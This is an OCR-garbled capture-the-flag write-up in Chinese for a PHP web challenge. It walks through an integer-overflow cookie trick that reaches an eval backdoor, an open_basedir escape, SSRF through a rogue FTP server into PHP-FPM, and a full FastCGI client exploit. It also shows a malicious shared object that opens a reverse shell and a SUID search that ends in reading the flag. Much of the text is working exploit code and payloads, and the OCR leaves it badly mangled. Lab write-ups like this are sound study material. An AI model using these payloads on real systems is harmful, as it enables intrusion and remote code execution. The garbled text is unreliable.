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PN, user.phpAlladd_api.php
user.php:

<?php
class User{

public $count;

add_api.php

5
if($user=unserialize($_COOKIE[

$count[++$user->count]=1;
if($count[]=1){

$user->count+=1;

setcookie( ,serialize($user));
}else{

eval($ GET[ 1;

1
J

}else{
$user=new User;
$user->count=1;

setcookie( ,serialize($user));

php#i 4 % H
G —T, BATEKRERAT eval(backdoor) , HAHEEWE $count[]=1,

H 56— php B %




Array
(
[2] == 1
[3] => 1
)
php i 2H %

1E PHPH, BAIBRA —ANGEN, XTFI2MLMBIERS, BRMER 2147483647, EI2[I31IKT7, B/NRN-20931K 7. WREER—
ANEEHGEH T BA (integer) WITEHE, BESW@BANFE AR (foat) . ARFMERTHRIEESEBH TER (integer) EE, tH&REEF
R (float) .

W

<?php

$a 9223372036854775806;

$count[++%a] 1;
$count[]=1;
print_r($count);

P S
Array
(
[9223372036854775807] => 1
)

VLB $count[]=1; AT RM, N, ZXAEE, BLATLABAT eval ($_GET[ "backdoor"]); ¥ cookiefurlZmil
Cookie:

data=0%3A47%3A%22User%22%3A17%3A%7Bs%3A5%3A%22count’%22%3B1%3A92233720368547758067%3B%7D

2% phpinfo()



pl

System Linux a213dc0044a6 4.19.164-0419164-generic #202012300642 SMP Wed Dec 30 12:21:09 UTC &
xB86_64

Build Date Apr 29 2021 15:12:27

Configure Command *./configure’ "--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' '--with-confi
scan-dir=/usr/local/etc/php/conf.d’ '--enable-option-checking=fatal' '--with-mhash’ "--with-pic""’
ftp' '--enable-mbstring' *--enable-mysqlnd' '--with-password-argon2' '--with-sodium=shared" '--
pdo-sglite=/usr' "--with-sglite3=/usr' '--with-libedit’ '--with-openssl' --with-zlib* '--with-pear’ '--
libdir=lib/x86_64-linux-gnu' '--enable-fpm’ '--with-fpm-user=www-data' '--with-fpm-group=ww
'--disable-cgi' 'build_alias=x86_64-linux-gnu'

Server API FPM/FastCGl

Virtual Directory Support disabled

Configuration File (php.ini) Path Jusr/local/etc/php

lwme Dmigse Nms (Iasees Oer O B e 7 omEsms 858 whies ¢ MaxHakBar @ HackBar

soding ~  SQL -

XSS ~ Other ~

http://f8510835-18b3-440a-9fc7-2c52a427e447 .node4.buuoj.cn:81/add_api.php?backdoor=phpinfo();

[] Postdata [] Referer [ User Agent Cookies

Clear All

C data=0%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A92233

HA LB AT 674 disable_functionsid iEB K%L T

disable functions

stream_socket client,fsockopen,putenv,pentl_alarm,
pentl_fork,pentl waitpid,pentl_wait,pentl_wifexited,p
cntl_wifstopped,pentl_wifsignaled,pentl_wifcontinue
d,pentl_wexitstatus,pentl wtermsig,pentl wstopsig,p
cntl_signal,pentl signal_get_handler,pentl_signal_dis
patch,pcntl_get last error,pentl_strerror,pentl_sigpro
cmask,pentl_sigwaitinfo,pentl_sigtimedwait, pentl_ex
ec,pentl_getpriority,pentl_setpriority,pentl_async sig
nals,iconv,system,exec,shell_exec,popen,proc_open,
passthru,symlink link,syslog,imap_open,dl,mail,error
_log,debug_backtrace,debug_print_backtrace,gc_coll
ect_cycles,array_merge_recursjve

CSDN @Skly

stream_socket client,fsockopen,putenv,pentl_alarm,

pentl_fork,pentl waitpid,pentl_wait,pentl_wifexited,p
cntl_wifstopped,pentl_wifsignaled,pentl_wifcontinue
d,pentl_wexitstatus,pentl wtermsig,pentl wstopsig,p
cntl_signal,pentl_signal get_handler,pentl_signal_dis
patch,pcntl_get last error,pentl_strerror,pentl_sigpro
cmask,pentl_sigwaitinfo,pentl_sigtimedwait, pentl_ex
ec,pentl_getpriority,pentl_setpriority,pcntl_async sig
nals,iconv,system,exec,shell_exec,popen,proc_open,

passthru,symlink,link,syslog,imap_open,dl,mail,error
_log,debug_backtrace,debug_print_backtrace,gc_coll
ect_cycles,array_merge_recursive CSD[\| @Shkcly

WE R TE W HAh B %, &EHopen basedir, #iRH| T

A ———

EP basedir

Svar/www/html

Svar/www/html

21t open_basedirH 3[R #1

B R

EEMERS v
URLiHE * http://f8510835-18b3-4402-9fc7-2¢522427e447.noded. buuoj.cn:81/ad
EEED cmd
labEE
{RERER UTFB v



EZE A Incookie

2 ikiER

[ Header @ Body

Name Cookie

Value data=0%324%3A%22User%22%3A1%3A% ?rF!-jsﬂ‘oSJ’-‘«S% 3)5.?«’0'2 J

e

SO _fr._'.-"

B T varhwww/htmlz 81, 3 5 i) Fofd SO R , ERIZSER EAAAR

globh Wi B CHF H %

open_basedirr] L& it globfh il Seid

O

a.php
add_api.php
& bgipg
index.html

index.nginx-debian.html

=

user.php
=R SRl b

b= o f-ikty W
i a.php => /var/www/html/ FERETh

if($b opendir($a)){
readdir($b))

echo $file ;

false){

while(($file

1
J

closedir($b);

1970-01-01 00:00:00
2021-12-05 15:58:31
2021-04-29 13:54:29
2021-04-29 13:59:55
2021-04-29 14:01:11
2021-04-29 15:14:42
2021-04-29 13:54:29

Bl A A
2021-12-05 23:58:30

NaN b 0
151 b 0644
303 b 0600
70.82 Kb 0644
114 b 0644
612 b 0644
42b 0600

=

7 AL A

2021-12-05 23:58:31
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VilHa.php, ATLAFE BlMag, ERAREEI GEMFIEagHIfED

bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
shin
srv
sys
tmp
usr
var

chdir()flini_set()H & %233

chdir()fllini_set()4 & k%t open_basedir()efi %

add_api.php?backdoor=mkdir ini_set chdir chdir

chdir ini_set print_r(scandir

Array ([0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => flag [8] => home [9] => lib [10] => lib64 [11] => media [12] => mnt
root [16] => run [17] => sbin [18] => srv [19] => sys [20] => tmp [21] => usr [22] => var)

£ H/proc/selflcmdline

add_api.php?backdoor=mkdir ini_set chdir

chdir ini_set echo file_get contents

BE, XIERFEANIphp-fomZd T



php-fpm: pool www

&FE /proc/self/maps ,

add_api.php?backdoor=mkdir( ; );ini_set( ) ;chdir( ) ;chdir( );chdir(

);chdir( );ini_set( );echo file get contents( );

KILT easy_bypass.soff] #1%

FUNUN T IV SO MU BV [ VUMY T | | e T WS T [ M1 IS S Y T SRR SV Y S U IV | AR WVEMUSUY T 1 e ] WA T [ M2 I 2R I T

35bab770a000-55bab7eed000 r--p 00600000 fc:11 25768749 /usr/local/sbin/php-fpm 55bab8268000-55bab830a000 r--p 00f5e000 fc:11 25768749 /usr/local/sbin/php-fpm
35bab830a000-55bab8311000 rw-p 01000000 fc:11 25768749 /usr/local/sbin/php-fpm 55bah8311000-55bab8332000 rw-p 00000000 00:00 0 55bab9f8c000-55baba132000 rw-
heap] 7fbcbh53fd000-7fbecb53fe000 r-xp 00000000 fe:11 569495661 Jusr/local/lib/php/extensions/no-debug-non-zts-20190902/easy_bypass.Je 7fbcb53fe000-7fbcb55fe000 -
369495661|/usr/local/lib/ph /extensmns,lno debug-non-zts-20190902/easy bypass.t 4fbcb55fe000-7fbcb55ff000 r—p 00001000 fc:11 569495661 /fusr/local/lib/php/extension:
Y Byp B g 9295061 /usr/local/lib/php/extensions/no-debug-non-zts-20190902/easy bypass.

7fbcb5600000 7fbcb5800000 rw-p 00000000 00:00 0 7fbcb5822000- 7fbcb5873000 rw-p 00000000 00:00 0 7fbcb5887000-7fbcb588a000 r--p 00000000 fc:11 1100980817 /lib/xi
jnu/libnss files-2.28. E 7fbch588a000-7fbcb5891000 r-xp 00003000 fc:11 1100980817 /lib/x86 64-linux-gnu/libnss files-2.28.:: 7fbcb5891000-7fbch5893000 r--p 0000a000 fc:'
lib/x86_64-linux-gnu/libnss files-2 2854 7fbcb5893000-7fbcb5894000 ---p 0000c000 fe:11 1100980817 /lib/x86_64-linux-gnu/libnss files-2.28 4 7fbcb5894000-7fbcb5895000
1100980817 /lib/x86_64-linux-gnu/libnss files-2.28 8 7fbcb5895000-7fbch5896000 rw-p 00004000 fc:11 1100980817 /lib/x86_64-linux-gnu/libnss files-2.28 55 7fb£b38%€£0—7

BER AT FIE B AR, AT LU copydr &K A HIE] /var/www/html o, SRJERETE TR

add_api.phprbackdoor=mkdir( );chdir( );ini_set( );chdir( );chdir( );chdir(

);chdir( );ini_set( 5 );var_dump(copy(
) ));

[j easy_bypass.so 2021-12-05 16:18:59 56.32 Kb 0644
index.html 2021-04-29 14:01:11 114 b 0644

o index.nginx-debian.html 2021-04-29 15:14:42 612 b 0644

] user.php 2021-04-29 13:54:29 42b 0600
= {ENE v
&= ] ity s BB ATE AR E
T# fvarfwww/html/easy_bypass.so T#iRETh 2021-12-06 00:19:14  2021-12-06 00:19:22
i3] a.php == /var/www/html/ LRI 2021-12-05 23:58:30 2021 12-05 23:58:31

J_’_"ll frrl'_’llel,-
Z_‘ |day i‘_""‘

BENGInXBLE X1, KIphp-fom7EZA 119001 45 K

add_api.phprbackdoor=chdir( );ini_set( );chdir( );chdir( );chdir( );chdir(

;ini_set( 5 );echo file_ get contents( )5




# pass PHP scripts to FastCGI serwver

#
location ~ \.php% {
root himl.
| fastcgi pass  127.8.8.1:9001; |

tastcgl_index 1index.php;
fastcgi_param SCRIPT_FILENAME

include fastcgi_params;

}

# deny access to .htaccess

# concurs with nginx's one

#
#location ~ /\.ht {
# deny all;

BXEAE, BB T .

(

CSDN

Svarfwae/html /$fastcgi_script_name;

files, if Apache's document root

frn <l
o

[
o

#I F eval()i# 17 SSRF, F|F SSRFX o7 A 1l ) PHP-FPM. & A17I CAfEvps LB B R Mftplk5, ik B 45 E 1% payloadi:
RZE9001% O, LB PHP-FPMIEHAT 4 (R #shel)

ftpir) 4 3h 85K

M— T RERfpH s, JRCHERE: ERFTPH RPN

(2) PASV (EHEL)

T o~

FRSSBEFF IR I ER e, R T E:

e

e FTPHR %5 & i
LARES gt
2.5kl
250
3PASVET &
5. FFRTBE L 15—
GRS H BT BEHLS
n
AR

1éﬁmmgmu§ma —

PASVRPassivelV8S, e AHEENED,, T{EHRE: FIPEFREESIFTPIRSSEM214m0, AEAPEiEEER, SFhaElisty =,
EEEVAOERT, AIEPASVESSTIFTPIRSSS, BSEREAMFENAM—MNRL (10240 1) , AREAMANEOSFEFER,

EFmEEER

CSDN @3Skily

BATH T R fp RS 2 & VRN, TREpayload KIEB|ANLAI0013G L, XAEHIE, FRATH AT LLE BFEHL R A< 1190013 K & 1%
EEHHEA, $ITERNE, ERSSRF

E—Aftpik 5%

BT

python3 ftp.py


https://my.oschina.net/binny/blog/17469

7 EUIRS5 AR IR AT T T ARSI 3 1, BE BRI Rp AR 25 BB AE 770013 11, R4 75 ZE4T TF B K8 A L F) 3 1

import socket
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
, 7008))

s.accept()

.send(
.send(
.send(

.send(
.send(

.send(
.close()

INE% & K so 44

R #Fphp-fomikEHE, BXPHP_VALUE, HHmME—A9 &

$php_value

Hishell3# Fvpsf 70103 N (FERATEIT70103 1, 3REshelD

_attribute  ((__constructor__)) void preload (void){
system( )5

linuxy 4

gcc hpdoger.c -fPIC -shared -o hpdoger.so

FEEBERsoxx, FFHcopydid, ¥ivps EHisoXcopyRI#EHL I tmp 3L =

add_api.php?backdoor=mkdir( );chdir( );ini_set( );chdir( );chdir( );chdir(
);chdir( );ini_set( > /") ;copy( );




4 B payload

class FCGIClient

{

const
const
const
const
const
const
const
const
const
const
const
const
const
const
const
const
const
const
const
const
const
const
const
const

VERSION 1
BEGIN_REQUEST
ABORT_REQUEST
END_REQUEST
PARAMS

STDIN

STDOUT

STDERR

DATA
GET_VALUES
GET_VALUES_RESULT
UNKNOWN_TYPE
MAXTYPE
RESPONDER
AUTHORIZER
FILTER
REQUEST_COMPLETE
CANT_MPX_CONN
OVERLOADED
UNKNOWN_ROLE
MAX_CONNS
MAX_REQS
MPXS_CONNS
HEADER_LEN

private $ sock = null;

private $ host = null;

Ce We We W

(9

e W

“e

1
1
2
3
4
55
6
7
8
9

(9

11;
self: :UNKNOWN_TYPE;




private $ port = null;

private $ keepAlive false;

public function _ construct($host, $port

{
$this-> host $host;
$this->_port = $port;

public function setKeepAlive($b)

{
$this->_keepAlive (boolean)$b;
if (!$this->_keepAlive $this->_sock) {
fclose($this->_sock);

public function getKeepAlive()
{

return $this-> keepAlive;

private function connect()

{

if (!$this->_sock) {

$this-> sock = stream_socket client($this-> host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception( )




private function buildPacket($type, $content, $requestId

{
$clen

return

private fu

{
$nlen
$vlen
if ($n

$n

} else

$n
en OxFF);

}

strlen($content);
chr(self::VERSION 1)
chr($type)
chr(($requestId 8)
chr($requestId & OxFF)
chr(($clen OXFF)
chr($clen
chr(9)
chr(9)

$content;

OxFF)

8 )
OxFF)

nction buildNvpair($name, $value)

strlen($name);
strlen($value);
len 128) {
vpair

{

chr($nlen);

vpair = chr(($nlen 24) 0x80)

if ($vlen

$nvpair
} else {

$nvpair
OxFF);
}

len

return $nvpair

128) {

chr($vlen);

chr(($vlen 24)

$name $value;

0x80)

private function readNvpair($data, $length
{

$array
if ($length
$length

array();

null) {
strlen($data);

chr(($nlen

chr(($vlen

1)

16)

16)

OXFF)

OXFF)

chr(($nlen

chr(($vlen

8)

8)

OXFF)

OXFF)

chr($nl

chr($v




ord($data{$p++1});

if ($nlen 128) {
$nlen ($nlen Ox7F 24);
$nlen (ord($data{$p++})
$nlen (ord($data{$p++})
$nlen (ord($data{$p++}));

)i

$vlen = ord($data{$p++});

if ($vlen 128) {
$vlen ($nlen & OX7F 24);
$vlen (ord($data{$p++})
$vlen (ord($data{$p++})
$vlen (ord($data{$p++}));

)i

$array[substr($data, $p, $nlen)] substr($data, $p+$nlen,

$p ($nlen $vlen);

)i

return $array;

private function decodePacketHeader($data)
{
$ret array();
$ret[ ] ord($data{e});
$ret[ ord($data{1});
$ret[ (ord($data{2}) ord($data{3});
$ret[ (ord($data{4}) ord($data{5});
$ret[ ord($data{6});
$ret[ ord($data{7});
return $ret;

private function readPacket()

{

if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp[ ] ;
if ($resp[ 1 A
$len $resp[ 1;
while ($1len $buf=fread($this-> sock, $len)) {
$len strlen($buf);
$resp[ ] $buf;

)i
if ($resp[ 1 A
$buf=fread($this->_sock, $resp[
)i
return $resp;
} else {
return false;




public function getValues(array $requestedInfo)
{
$this->connect();
$request S
foreach ($requestedInfo as $info) {
$request $this->buildNvpair($info, );
)i
fwrite($this-> sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp[ ] self::GET_VALUES_RESULT) {
return $this->readNvpair($respl[ 1, $resp|
} else {

throw new Exception(

public function request(array $params, $stdin)

{

$response

$request $this->buildPacket(self: :BEGIN_REQUEST, chr(@) chr(self: :RESPONDER) chr((int) _kee|
str_repeat(chr(0), 5));
$paramsRequest g

foreach ($params as $key $value) {

$paramsRequest $this->buildNvpair($key, $value);
)i
if ($paramsRequest) {

$request $this->buildPacket(self::PARAMS, $paramsRequest);
)i
$request $this->buildPacket(self: :PARAMS, )
if ($stdin) {

$request $this->buildPacket(self::STDIN, $stdin);
b
$request $this->buildPacket(self::STDIN, E
echo( urlencode($request));




$filepath

$req basename($filepath);
Suri $req

$client new FCGIClient(

$code

$php_value

$params array (

$filepath,
$req,

$uri,

$req,

$php_value,

O

strlen($code)

echo $client->request($params, $code)




BITHR

data=7%017%017007%017007:087:007:007,007:017:007:007:007:007:007:007%:017%047:007:017%027%3F %007:007%11%0BGATEWAY_INTERFACEFastCGI%2F1
P%OE%GAREQUEST METHODPOST%@F%19SCRIPT FILENAME%2Fvar%2Fwww#%2Fhtml%2Fadd_api.php%@B%6CSCRIPT NAME%2Fadd_api.php%@
C7%OEQUERY_STRINGcommand’%3Dwhoami’%@B%1BREQUEST URI%2Fadd_api.php%3Fcommand’%3Dwhoami%@C%0@CDOCUMENT URI%2Fadd_api.p
hp?7%097%807007%00%B3PHP_VALUEunserialize callback_ func+%3D+system%@Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoge)
r.so%PAdisable classes+%3D+%0@Adisable functions+%3D+%0@Aallow_url include+%3D+0n%0@Aopen_basedir+%3D+%2F%0Aauto_pnr

epend_file+%3D+%0OF%@DSERVER_SOFTWARE8@sec’2Fwofeiwo%0@B%0@9REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT90017%0B%09SERVER_A
DDR127.0.0.17%0B%02SERVER_PORT807%0B%09SERVER_NAMElocalhost%0OF%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%0
17,047,007017007,007007007017%057%007%017%0017%007%00%3C%3Fphp+system’%28%24 REQUEST%5B%27command’%277%5D%29%3B+phpinfo0%287%2]
97%3B+7%3F%3E%017%057%007:017%:007:007:007:00

payload

ftpfik 553w K 7E7008, SR JEHEHL¥shell /3270103 0 (vpsZE W r7010%w H, FKEshell, )5 suidfRED

add_api.php’backdoor=$file = $ GET[ ];$data = $ GET[ ];file put contents($file,$data);&file=Fftp:

suid L
EHrootFl F AR KIsuid ST

find perm -u=s -type f 2>/dev/null

/html$é find / -perm -u=s -type f 2
v/null

n/su
n/umount

);chdir( );chdir( );chdir(

p(file_get_contents( ));



www-data@d293a9ff40b:~/html$ php -a
php -a
Interactive shell

mkdir('test');chdir('test');ini_set('open_basedir','.."');chdir('..");chdir("'..");ch
dir('..");chdir('..");chdir('..");chdir("'..");chdir('..");chdir('..");ini set('open

_basedir','/");var_dump(file_get contents('/flag'));
PHP Warning: mkdir({): File ists in php shell ¢ » on line 1
string(43) "flag{d8403115-1512-4659-8fa9-2a5eccf45 }

I

w0 DN


https://whoamianony.top/2021/05/15/Web%25E5%25AE%2589%25E5%2585%25A8/%25E6%25B5%2585%25E5%2585%25A5%25E6%25B7%25B1%25E5%2587%25BA%20Fastcgi%20%25E5%258D%258F%25E8%25AE%25AE%25E5%2588%2586%25E6%259E%2590%25E4%25B8%258E%20PHP-FPM%20%25E6%2594%25BB%25E5%2587%25BB%25E6%2596%25B9%25E6%25B3%2595/
https://blog.csdn.net/qq_36119192/article/details/84872644
https://blog.csdn.net/baidu_39504221/article/details/116720875
https://my.oschina.net/binny/blog/17469
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